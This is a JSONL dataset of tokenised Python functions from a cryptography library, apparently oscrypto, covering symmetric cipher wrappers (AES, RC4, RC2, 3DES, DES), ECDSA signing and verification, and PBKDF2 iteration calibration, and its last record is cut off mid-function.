{"signature": "def aes_cbc_no_padding_encrypt(key, data, iv):", "body": "if len(key) not in [<NUM_LIT:16>, <NUM_LIT>, <NUM_LIT:32>]:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(key)<EOL>))<EOL><DEDENT>if not iv:<EOL><INDENT>iv = rand_bytes(<NUM_LIT:16>)<EOL><DEDENT>elif len(iv) != <NUM_LIT:16>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(iv)<EOL>))<EOL><DEDENT>if len(data) % <NUM_LIT:16> != <NUM_LIT:0>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(data)<EOL>))<EOL><DEDENT>return (iv, _encrypt(Security.kSecAttrKeyTypeAES, key, data, iv, Security.kSecPaddingNoneKey))<EOL>", "docstring": "Encrypts plaintext using AES in CBC mode with a 128, 192 or 256 bit key and\nno padding. This means the ciphertext must be an exact multiple of 16 bytes\nlong.\n\n:param key:\n    The encryption key - a byte string either 16, 24 or 32 bytes long\n\n:param data:\n    The plaintext - a byte string\n\n:param iv:\n    The initialization vector - either a byte string 16-bytes long or None\n    to generate an IV\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A tuple of two byte strings (iv, ciphertext)", "id": "f9513:m0"}
{"signature": "def aes_cbc_no_padding_decrypt(key, data, iv):", "body": "if len(key) not in [<NUM_LIT:16>, <NUM_LIT>, <NUM_LIT:32>]:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(key)<EOL>))<EOL><DEDENT>if len(iv) != <NUM_LIT:16>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(iv)<EOL>))<EOL><DEDENT>return _decrypt(Security.kSecAttrKeyTypeAES, key, data, iv, Security.kSecPaddingNoneKey)<EOL>", "docstring": "Decrypts AES ciphertext in CBC mode using a 128, 192 or 256 bit key and no\npadding.\n\n:param key:\n    The encryption key - a byte string either 16, 24 or 32 bytes long\n\n:param data:\n    The ciphertext - a byte string\n\n:param iv:\n    The initialization vector - a byte string 16-bytes long\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the plaintext", "id": "f9513:m1"}
{"signature": "def aes_cbc_pkcs7_encrypt(key, data, iv):", "body": "if len(key) not in [<NUM_LIT:16>, <NUM_LIT>, <NUM_LIT:32>]:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(key)<EOL>))<EOL><DEDENT>if not iv:<EOL><INDENT>iv = rand_bytes(<NUM_LIT:16>)<EOL><DEDENT>elif len(iv) != <NUM_LIT:16>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(iv)<EOL>))<EOL><DEDENT>return (iv, _encrypt(Security.kSecAttrKeyTypeAES, key, data, iv, Security.kSecPaddingPKCS7Key))<EOL>", "docstring": "Encrypts plaintext using AES in CBC mode with a 128, 192 or 256 bit key and\nPKCS#7 padding.\n\n:param key:\n    The encryption key - a byte string either 16, 24 or 32 bytes long\n\n:param data:\n    The plaintext - a byte string\n\n:param iv:\n    The initialization vector - either a byte string 16-bytes long or None\n    to generate an IV\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A tuple of two byte strings (iv, ciphertext)", "id": "f9513:m2"}
{"signature": "def aes_cbc_pkcs7_decrypt(key, data, iv):", "body": "if len(key) not in [<NUM_LIT:16>, <NUM_LIT>, <NUM_LIT:32>]:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(key)<EOL>))<EOL><DEDENT>if len(iv) != <NUM_LIT:16>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(iv)<EOL>))<EOL><DEDENT>return _decrypt(Security.kSecAttrKeyTypeAES, key, data, iv, Security.kSecPaddingPKCS7Key)<EOL>", "docstring": "Decrypts AES ciphertext in CBC mode using a 128, 192 or 256 bit key\n\n:param key:\n    The encryption key - a byte string either 16, 24 or 32 bytes long\n\n:param data:\n    The ciphertext - a byte string\n\n:param iv:\n    The initialization vector - a byte string 16-bytes long\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the plaintext", "id": "f9513:m3"}
{"signature": "def rc4_encrypt(key, data):", "body": "if len(key) < <NUM_LIT:5> or len(key) > <NUM_LIT:16>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(key)<EOL>))<EOL><DEDENT>return _encrypt(Security.kSecAttrKeyTypeRC4, key, data, None, None)<EOL>", "docstring": "Encrypts plaintext using RC4 with a 40-128 bit key\n\n:param key:\n    The encryption key - a byte string 5-16 bytes long\n\n:param data:\n    The plaintext - a byte string\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the ciphertext", "id": "f9513:m4"}
{"signature": "def rc4_decrypt(key, data):", "body": "if len(key) < <NUM_LIT:5> or len(key) > <NUM_LIT:16>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(key)<EOL>))<EOL><DEDENT>return _decrypt(Security.kSecAttrKeyTypeRC4, key, data, None, None)<EOL>", "docstring": "Decrypts RC4 ciphertext using a 40-128 bit key\n\n:param key:\n    The encryption key - a byte string 5-16 bytes long\n\n:param data:\n    The ciphertext - a byte string\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the plaintext", "id": "f9513:m5"}
{"signature": "def rc2_cbc_pkcs5_encrypt(key, data, iv):", "body": "if len(key) < <NUM_LIT:5> or len(key) > <NUM_LIT:16>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(key)<EOL>))<EOL><DEDENT>if not iv:<EOL><INDENT>iv = rand_bytes(<NUM_LIT:8>)<EOL><DEDENT>elif len(iv) != <NUM_LIT:8>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(iv)<EOL>))<EOL><DEDENT>return (iv, _encrypt(Security.kSecAttrKeyTypeRC2, key, data, iv, Security.kSecPaddingPKCS5Key))<EOL>", "docstring": "Encrypts plaintext using RC2 with a 64 bit key\n\n:param key:\n    The encryption key - a byte string 8 bytes long\n\n:param data:\n    The plaintext - a byte string\n\n:param iv:\n    The 8-byte initialization vector to use - a byte string - set as None\n    to generate an appropriate one\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A tuple of two byte strings (iv, ciphertext)", "id": "f9513:m6"}
{"signature": "def rc2_cbc_pkcs5_decrypt(key, data, iv):", "body": "if len(key) < <NUM_LIT:5> or len(key) > <NUM_LIT:16>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(key)<EOL>))<EOL><DEDENT>if len(iv) != <NUM_LIT:8>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(iv)<EOL>))<EOL><DEDENT>return _decrypt(Security.kSecAttrKeyTypeRC2, key, data, iv, Security.kSecPaddingPKCS5Key)<EOL>", "docstring": "Decrypts RC2 ciphertext using a 64 bit key\n\n:param key:\n    The encryption key - a byte string 8 bytes long\n\n:param data:\n    The ciphertext - a byte string\n\n:param iv:\n    The initialization vector used for encryption - a byte string\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the plaintext", "id": "f9513:m7"}
{"signature": "def tripledes_cbc_pkcs5_encrypt(key, data, iv):", "body": "if len(key) != <NUM_LIT:16> and len(key) != <NUM_LIT>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(key)<EOL>))<EOL><DEDENT>if not iv:<EOL><INDENT>iv = rand_bytes(<NUM_LIT:8>)<EOL><DEDENT>elif len(iv) != <NUM_LIT:8>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(iv)<EOL>))<EOL><DEDENT>if len(key) == <NUM_LIT:16>:<EOL><INDENT>key = key + key[<NUM_LIT:0>:<NUM_LIT:8>]<EOL><DEDENT>return (iv, _encrypt(Security.kSecAttrKeyType3DES, key, data, iv, Security.kSecPaddingPKCS5Key))<EOL>", "docstring": "Encrypts plaintext using 3DES in either 2 or 3 key mode\n\n:param key:\n    The encryption key - a byte string 16 or 24 bytes long (2 or 3 key mode)\n\n:param data:\n    The plaintext - a byte string\n\n:param iv:\n    The 8-byte initialization vector to use - a byte string - set as None\n    to generate an appropriate one\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A tuple of two byte strings (iv, ciphertext)", "id": "f9513:m8"}
{"signature": "def tripledes_cbc_pkcs5_decrypt(key, data, iv):", "body": "if len(key) != <NUM_LIT:16> and len(key) != <NUM_LIT>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(key)<EOL>))<EOL><DEDENT>if len(iv) != <NUM_LIT:8>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(iv)<EOL>))<EOL><DEDENT>if len(key) == <NUM_LIT:16>:<EOL><INDENT>key = key + key[<NUM_LIT:0>:<NUM_LIT:8>]<EOL><DEDENT>return _decrypt(Security.kSecAttrKeyType3DES, key, data, iv, Security.kSecPaddingPKCS5Key)<EOL>", "docstring": "Decrypts 3DES ciphertext in either 2 or 3 key mode\n\n:param key:\n    The encryption key - a byte string 16 or 24 bytes long (2 or 3 key mode)\n\n:param data:\n    The ciphertext - a byte string\n\n:param iv:\n    The initialization vector used for encryption - a byte string\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the plaintext", "id": "f9513:m9"}
{"signature": "def des_cbc_pkcs5_encrypt(key, data, iv):", "body": "if len(key) != <NUM_LIT:8>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(key)<EOL>))<EOL><DEDENT>if not iv:<EOL><INDENT>iv = rand_bytes(<NUM_LIT:8>)<EOL><DEDENT>elif len(iv) != <NUM_LIT:8>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(iv)<EOL>))<EOL><DEDENT>return (iv, _encrypt(Security.kSecAttrKeyTypeDES, key, data, iv, Security.kSecPaddingPKCS5Key))<EOL>", "docstring": "Encrypts plaintext using DES with a 56 bit key\n\n:param key:\n    The encryption key - a byte string 8 bytes long (includes error correction bits)\n\n:param data:\n    The plaintext - a byte string\n\n:param iv:\n    The 8-byte initialization vector to use - a byte string - set as None\n    to generate an appropriate one\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A tuple of two byte strings (iv, ciphertext)", "id": "f9513:m10"}
{"signature": "def des_cbc_pkcs5_decrypt(key, data, iv):", "body": "if len(key) != <NUM_LIT:8>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(key)<EOL>))<EOL><DEDENT>if len(iv) != <NUM_LIT:8>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(iv)<EOL>))<EOL><DEDENT>return _decrypt(Security.kSecAttrKeyTypeDES, key, data, iv, Security.kSecPaddingPKCS5Key)<EOL>", "docstring": "Decrypts DES ciphertext using a 56 bit key\n\n:param key:\n    The encryption key - a byte string 8 bytes long (includes error correction bits)\n\n:param data:\n    The ciphertext - a byte string\n\n:param iv:\n    The initialization vector used for encryption - a byte string\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the plaintext", "id": "f9513:m11"}
{"signature": "def _encrypt(cipher, key, data, iv, padding):", "body": "if not isinstance(key, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(key)<EOL>))<EOL><DEDENT>if not isinstance(data, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(data)<EOL>))<EOL><DEDENT>if cipher != Security.kSecAttrKeyTypeRC4 and not isinstance(iv, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(iv)<EOL>))<EOL><DEDENT>if cipher != Security.kSecAttrKeyTypeRC4 and not padding:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>cf_dict = None<EOL>cf_key = None<EOL>cf_data = None<EOL>cf_iv = None<EOL>sec_key = None<EOL>sec_transform = None<EOL>try:<EOL><INDENT>cf_dict = CFHelpers.cf_dictionary_from_pairs([(Security.kSecAttrKeyType, cipher)])<EOL>cf_key = CFHelpers.cf_data_from_bytes(key)<EOL>cf_data = CFHelpers.cf_data_from_bytes(data)<EOL>error_pointer = new(CoreFoundation, '<STR_LIT>')<EOL>sec_key = Security.SecKeyCreateFromData(cf_dict, cf_key, error_pointer)<EOL>handle_cf_error(error_pointer)<EOL>sec_transform = Security.SecEncryptTransformCreate(sec_key, error_pointer)<EOL>handle_cf_error(error_pointer)<EOL>if cipher != Security.kSecAttrKeyTypeRC4:<EOL><INDENT>Security.SecTransformSetAttribute(sec_transform, Security.kSecModeCBCKey, null(), error_pointer)<EOL>handle_cf_error(error_pointer)<EOL>Security.SecTransformSetAttribute(sec_transform, Security.kSecPaddingKey, padding, error_pointer)<EOL>handle_cf_error(error_pointer)<EOL>cf_iv = CFHelpers.cf_data_from_bytes(iv)<EOL>Security.SecTransformSetAttribute(sec_transform, Security.kSecIVKey, cf_iv, error_pointer)<EOL>handle_cf_error(error_pointer)<EOL><DEDENT>Security.SecTransformSetAttribute(<EOL>sec_transform,<EOL>Security.kSecTransformInputAttributeName,<EOL>cf_data,<EOL>error_pointer<EOL>)<EOL>handle_cf_error(error_pointer)<EOL>ciphertext = Security.SecTransformExecute(sec_transform, error_pointer)<EOL>handle_cf_error(error_pointer)<EOL>return CFHelpers.cf_data_to_bytes(ciphertext)<EOL><DEDENT>finally:<EOL><INDENT>if cf_dict:<EOL><INDENT>CoreFoundation.CFRelease(cf_dict)<EOL><DEDENT>if cf_key:<EOL><INDENT>CoreFoundation.CFRelease(cf_key)<EOL><DEDENT>if cf_data:<EOL><INDENT>CoreFoundation.CFRelease(cf_data)<EOL><DEDENT>if cf_iv:<EOL><INDENT>CoreFoundation.CFRelease(cf_iv)<EOL><DEDENT>if sec_key:<EOL><INDENT>CoreFoundation.CFRelease(sec_key)<EOL><DEDENT>if sec_transform:<EOL><INDENT>CoreFoundation.CFRelease(sec_transform)<EOL><DEDENT><DEDENT>", "docstring": "Encrypts plaintext\n\n:param cipher:\n    A kSecAttrKeyType* value that specifies the cipher to use\n\n:param key:\n    The encryption key - a byte string 5-16 bytes long\n\n:param data:\n    The plaintext - a byte string\n\n:param iv:\n    The initialization vector - a byte string - unused for RC4\n\n:param padding:\n    The padding mode to use, specified as a kSecPadding*Key value - unused for RC4\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the ciphertext", "id": "f9513:m12"}
{"signature": "def _decrypt(cipher, key, data, iv, padding):", "body": "if not isinstance(key, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(key)<EOL>))<EOL><DEDENT>if not isinstance(data, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(data)<EOL>))<EOL><DEDENT>if cipher != Security.kSecAttrKeyTypeRC4 and not isinstance(iv, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(iv)<EOL>))<EOL><DEDENT>if cipher != Security.kSecAttrKeyTypeRC4 and not padding:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>cf_dict = None<EOL>cf_key = None<EOL>cf_data = None<EOL>cf_iv = None<EOL>sec_key = None<EOL>sec_transform = None<EOL>try:<EOL><INDENT>cf_dict = CFHelpers.cf_dictionary_from_pairs([(Security.kSecAttrKeyType, cipher)])<EOL>cf_key = CFHelpers.cf_data_from_bytes(key)<EOL>cf_data = CFHelpers.cf_data_from_bytes(data)<EOL>error_pointer = new(CoreFoundation, '<STR_LIT>')<EOL>sec_key = Security.SecKeyCreateFromData(cf_dict, cf_key, error_pointer)<EOL>handle_cf_error(error_pointer)<EOL>sec_transform = Security.SecDecryptTransformCreate(sec_key, error_pointer)<EOL>handle_cf_error(error_pointer)<EOL>if cipher != Security.kSecAttrKeyTypeRC4:<EOL><INDENT>Security.SecTransformSetAttribute(sec_transform, Security.kSecModeCBCKey, null(), error_pointer)<EOL>handle_cf_error(error_pointer)<EOL>Security.SecTransformSetAttribute(sec_transform, Security.kSecPaddingKey, padding, error_pointer)<EOL>handle_cf_error(error_pointer)<EOL>cf_iv = CFHelpers.cf_data_from_bytes(iv)<EOL>Security.SecTransformSetAttribute(sec_transform, Security.kSecIVKey, cf_iv, error_pointer)<EOL>handle_cf_error(error_pointer)<EOL><DEDENT>Security.SecTransformSetAttribute(<EOL>sec_transform,<EOL>Security.kSecTransformInputAttributeName,<EOL>cf_data,<EOL>error_pointer<EOL>)<EOL>handle_cf_error(error_pointer)<EOL>plaintext = Security.SecTransformExecute(sec_transform, error_pointer)<EOL>handle_cf_error(error_pointer)<EOL>return CFHelpers.cf_data_to_bytes(plaintext)<EOL><DEDENT>finally:<EOL><INDENT>if cf_dict:<EOL><INDENT>CoreFoundation.CFRelease(cf_dict)<EOL><DEDENT>if cf_key:<EOL><INDENT>CoreFoundation.CFRelease(cf_key)<EOL><DEDENT>if cf_data:<EOL><INDENT>CoreFoundation.CFRelease(cf_data)<EOL><DEDENT>if cf_iv:<EOL><INDENT>CoreFoundation.CFRelease(cf_iv)<EOL><DEDENT>if sec_key:<EOL><INDENT>CoreFoundation.CFRelease(sec_key)<EOL><DEDENT>if sec_transform:<EOL><INDENT>CoreFoundation.CFRelease(sec_transform)<EOL><DEDENT><DEDENT>", "docstring": "Decrypts AES/RC4/RC2/3DES/DES ciphertext\n\n:param cipher:\n    A kSecAttrKeyType* value that specifies the cipher to use\n\n:param key:\n    The encryption key - a byte string 5-16 bytes long\n\n:param data:\n    The ciphertext - a byte string\n\n:param iv:\n    The initialization vector - a byte string - unused for RC4\n\n:param padding:\n    The padding mode to use, specified as a kSecPadding*Key value - unused for RC4\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the plaintext", "id": "f9513:m13"}
{"signature": "def ec_generate_pair(curve):", "body": "if curve not in set(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']):<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(curve)<EOL>))<EOL><DEDENT>curve_num_bytes = CURVE_BYTES[curve]<EOL>curve_base_point = {<EOL>'<STR_LIT>': SECP256R1_BASE_POINT,<EOL>'<STR_LIT>': SECP384R1_BASE_POINT,<EOL>'<STR_LIT>': SECP521R1_BASE_POINT,<EOL>}[curve]<EOL>while True:<EOL><INDENT>private_key_bytes = rand_bytes(curve_num_bytes)<EOL>private_key_int = int_from_bytes(private_key_bytes, signed=False)<EOL>if private_key_int > <NUM_LIT:0> and private_key_int < curve_base_point.order:<EOL><INDENT>break<EOL><DEDENT><DEDENT>private_key_info = keys.PrivateKeyInfo({<EOL>'<STR_LIT:version>': <NUM_LIT:0>,<EOL>'<STR_LIT>': keys.PrivateKeyAlgorithm({<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': keys.ECDomainParameters(<EOL>name='<STR_LIT>',<EOL>value=curve<EOL>)<EOL>}),<EOL>'<STR_LIT>': keys.ECPrivateKey({<EOL>'<STR_LIT:version>': '<STR_LIT>',<EOL>'<STR_LIT>': private_key_int<EOL>}),<EOL>})<EOL>private_key_info['<STR_LIT>'].parsed['<STR_LIT>'] = private_key_info.public_key<EOL>public_key_info = private_key_info.public_key_info<EOL>return (public_key_info, private_key_info)<EOL>", "docstring": "Generates a EC public/private key pair\n\n:param curve:\n    A unicode string. Valid values include \"secp256r1\", \"secp384r1\" and\n    \"secp521r1\".\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n\n:return:\n    A 2-element tuple of (asn1crypto.keys.PublicKeyInfo,\n    asn1crypto.keys.PrivateKeyInfo)", "id": "f9516:m0"}
{"signature": "def ecdsa_sign(private_key, data, hash_algorithm):", "body": "if not hasattr(private_key, '<STR_LIT>') or not isinstance(private_key.asn1, keys.PrivateKeyInfo):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(private_key)<EOL>))<EOL><DEDENT>curve_name = private_key.curve<EOL>if curve_name not in set(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']):<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>'''<EOL>))<EOL><DEDENT>if not isinstance(data, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(data)<EOL>))<EOL><DEDENT>if hash_algorithm not in set(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']):<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(hash_algorithm)<EOL>))<EOL><DEDENT>hash_func = getattr(hashlib, hash_algorithm)<EOL>ec_private_key = private_key.asn1['<STR_LIT>'].parsed<EOL>private_key_bytes = ec_private_key['<STR_LIT>'].contents<EOL>private_key_int = ec_private_key['<STR_LIT>'].native<EOL>curve_num_bytes = CURVE_BYTES[curve_name]<EOL>curve_base_point = {<EOL>'<STR_LIT>': SECP256R1_BASE_POINT,<EOL>'<STR_LIT>': SECP384R1_BASE_POINT,<EOL>'<STR_LIT>': SECP521R1_BASE_POINT,<EOL>}[curve_name]<EOL>n = curve_base_point.order<EOL>digest = hash_func(data).digest()<EOL>hash_length = len(digest)<EOL>h = int_from_bytes(digest, signed=False) % n<EOL>V = b'<STR_LIT>' * hash_length<EOL>K = b'<STR_LIT:\\x00>' * hash_length<EOL>K = hmac.new(K, V + b'<STR_LIT:\\x00>' + private_key_bytes + digest, hash_func).digest()<EOL>V = hmac.new(K, V, hash_func).digest()<EOL>K = hmac.new(K, V + b'<STR_LIT>' + private_key_bytes + digest, hash_func).digest()<EOL>V = hmac.new(K, V, hash_func).digest()<EOL>r = <NUM_LIT:0><EOL>s = <NUM_LIT:0><EOL>while True:<EOL><INDENT>T = b'<STR_LIT>'<EOL>while len(T) < curve_num_bytes:<EOL><INDENT>V = hmac.new(K, V, hash_func).digest()<EOL>T += V<EOL><DEDENT>k = int_from_bytes(T[<NUM_LIT:0>:curve_num_bytes], signed=False)<EOL>if k == <NUM_LIT:0> or k >= n:<EOL><INDENT>continue<EOL><DEDENT>r = (curve_base_point * k).x % n<EOL>if r == <NUM_LIT:0>:<EOL><INDENT>continue<EOL><DEDENT>s = (inverse_mod(k, n) * (h + (private_key_int * r) % n)) % n<EOL>if s == <NUM_LIT:0>:<EOL><INDENT>continue<EOL><DEDENT>break<EOL><DEDENT>return DSASignature({'<STR_LIT:r>': r, '<STR_LIT:s>': s}).dump()<EOL>", "docstring": "Generates an ECDSA signature in pure Python (thus slow)\n\n:param private_key:\n    The PrivateKey to generate the signature with\n\n:param data:\n    A byte string of the data the signature is for\n\n:param hash_algorithm:\n    A unicode string of \"sha1\", \"sha256\", \"sha384\" or \"sha512\"\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the signature", "id": "f9516:m1"}
{"signature": "def ecdsa_verify(certificate_or_public_key, signature, data, hash_algorithm):", "body": "has_asn1 = hasattr(certificate_or_public_key, '<STR_LIT>')<EOL>if not has_asn1 or not isinstance(certificate_or_public_key.asn1, (keys.PublicKeyInfo, Certificate)):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(certificate_or_public_key)<EOL>))<EOL><DEDENT>curve_name = certificate_or_public_key.curve<EOL>if curve_name not in set(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']):<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>'''<EOL>))<EOL><DEDENT>if not isinstance(signature, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(signature)<EOL>))<EOL><DEDENT>if not isinstance(data, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(data)<EOL>))<EOL><DEDENT>if hash_algorithm not in set(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']):<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(hash_algorithm)<EOL>))<EOL><DEDENT>asn1 = certificate_or_public_key.asn1<EOL>if isinstance(asn1, Certificate):<EOL><INDENT>asn1 = asn1.public_key<EOL><DEDENT>curve_base_point = {<EOL>'<STR_LIT>': SECP256R1_BASE_POINT,<EOL>'<STR_LIT>': SECP384R1_BASE_POINT,<EOL>'<STR_LIT>': SECP521R1_BASE_POINT,<EOL>}[curve_name]<EOL>x, y = asn1['<STR_LIT>'].to_coords()<EOL>n = curve_base_point.order<EOL>public_key_point = PrimePoint(curve_base_point.curve, x, y, n)<EOL>try:<EOL><INDENT>signature = DSASignature.load(signature)<EOL>r = signature['<STR_LIT:r>'].native<EOL>s = signature['<STR_LIT:s>'].native<EOL><DEDENT>except (ValueError):<EOL><INDENT>raise SignatureError('<STR_LIT>')<EOL><DEDENT>invalid = <NUM_LIT:0><EOL>invalid |= r < <NUM_LIT:1><EOL>invalid |= r >= n<EOL>invalid |= s < <NUM_LIT:1><EOL>invalid |= s >= n<EOL>if invalid:<EOL><INDENT>raise SignatureError('<STR_LIT>')<EOL><DEDENT>hash_func = getattr(hashlib, hash_algorithm)<EOL>digest = hash_func(data).digest()<EOL>z = int_from_bytes(digest, signed=False) % n<EOL>w = inverse_mod(s, n)<EOL>u1 = (z * w) % n<EOL>u2 = (r * w) % n<EOL>hash_point = (curve_base_point * u1) + (public_key_point * u2)<EOL>if r != (hash_point.x % n):<EOL><INDENT>raise SignatureError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Verifies an ECDSA signature in pure Python (thus slow)\n\n:param certificate_or_public_key:\n    A Certificate or PublicKey instance to verify the signature with\n\n:param signature:\n    A byte string of the signature to verify\n\n:param data:\n    A byte string of the data the signature is for\n\n:param hash_algorithm:\n    A unicode string of \"md5\", \"sha1\", \"sha256\", \"sha384\" or \"sha512\"\n\n:raises:\n    oscrypto.errors.SignatureError - when the signature is determined to be invalid\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library", "id": "f9516:m2"}
{"signature": "def pbkdf2_iteration_calculator(hash_algorithm, key_length, target_ms=<NUM_LIT:100>, quiet=False):", "body": "if hash_algorithm not in set(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']):<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(hash_algorithm)<EOL>))<EOL><DEDENT>if not isinstance(key_length, int_types):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(key_length)<EOL>))<EOL><DEDENT>if key_length < <NUM_LIT:1>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(key_length)<EOL>))<EOL><DEDENT>if not isinstance(target_ms, int_types):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(target_ms)<EOL>))<EOL><DEDENT>if target_ms < <NUM_LIT:1>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(target_ms)<EOL>))<EOL><DEDENT>if pbkdf2.pure_python:<EOL><INDENT>raise OSError(pretty_message(<EOL>'''<STR_LIT>'''<EOL>))<EOL><DEDENT>iterations = <NUM_LIT><EOL>password = '<STR_LIT>'.encode('<STR_LIT:utf-8>')<EOL>salt = rand_bytes(key_length)<EOL>def _measure():<EOL><INDENT>start = _get_start()<EOL>pbkdf2(hash_algorithm, password, salt, iterations, 